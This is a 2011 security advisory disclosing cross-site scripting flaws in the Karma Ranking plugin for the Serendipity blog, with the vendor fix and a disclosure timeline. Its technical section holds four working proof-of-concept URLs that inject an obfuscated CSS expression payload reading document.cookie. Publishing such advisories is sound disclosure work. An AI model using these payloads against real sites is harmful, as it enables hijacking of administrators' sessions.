Serendipity Plugin 'Karma Ranking' Multiple Cross-Site Scripting

2011-11-06T00:00:00
ID SECURITYVULNS:DOC:27276
Type securityvulns
Reporter Securityvulns
Modified 2011-11-06T00:00:00

Description

Advisory: Serendipity Plugin 'Karma Ranking' Multiple Cross-Site Scripting vulnerabilities Advisory ID: SSCHADV2011-017 Author: Stefan Schurtz Affected Software: Successfully tested on Serendipity 1.5.5 with Karma Ranking Plugin version 1.1 Vendor URL: http://www.s9y.org Vendor Status: fixed CVE-ID: -

========================== Vulnerability Description: ==========================

Multiple parameters in the Karma Ranking plugin (Serendipity backend) are prone to a Cross-Site Scripting vulnerability

================== Technical Details: ==================

Successfully tested with Internet Explorer 8

http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][ip]=3&serendipity[filter][title]=3&serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-

http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][title]=3&serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-

http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=3&serendipity[filter][title]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[filter][user_agent]=3&serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-

http://<target>/serendipity/serendipity_admin?serendipity[adminModule]=event_display&serendipity[adminAction]=karmalog&serendipity[adminAction]=karmalog&serendipity[adminModule]=event_display&serendipity[filter][entryid]=3&serendipity[filter][ip]=3&serendipity[filter][title]=3&serendipity[filter][user_agent]=' stYle='x:expre/**/ssion(alert(document.cookie)) &serendipity[sort][order]=votetime&serendipity[sort][ordermode]=DESC&submit=-+Go!+-

========= Solution: =========

Upgrade to Serendipity 1.6

==================== Disclosure Timeline: ====================

22-Sep-2011 - informed developers 27-Oct-2011 - fixed by vendor 02-Nov-2011 - release date of this security advisory

======== Credits: ========

Vulnerability found and advisory written by Stefan Schurtz.

=========== References: ===========

http://www.s9y.org http://blog.s9y.org/archives/233-Serendipity-1.6-released.html http://www.rul3z.de/advisories/SSCHADV2011-017.txt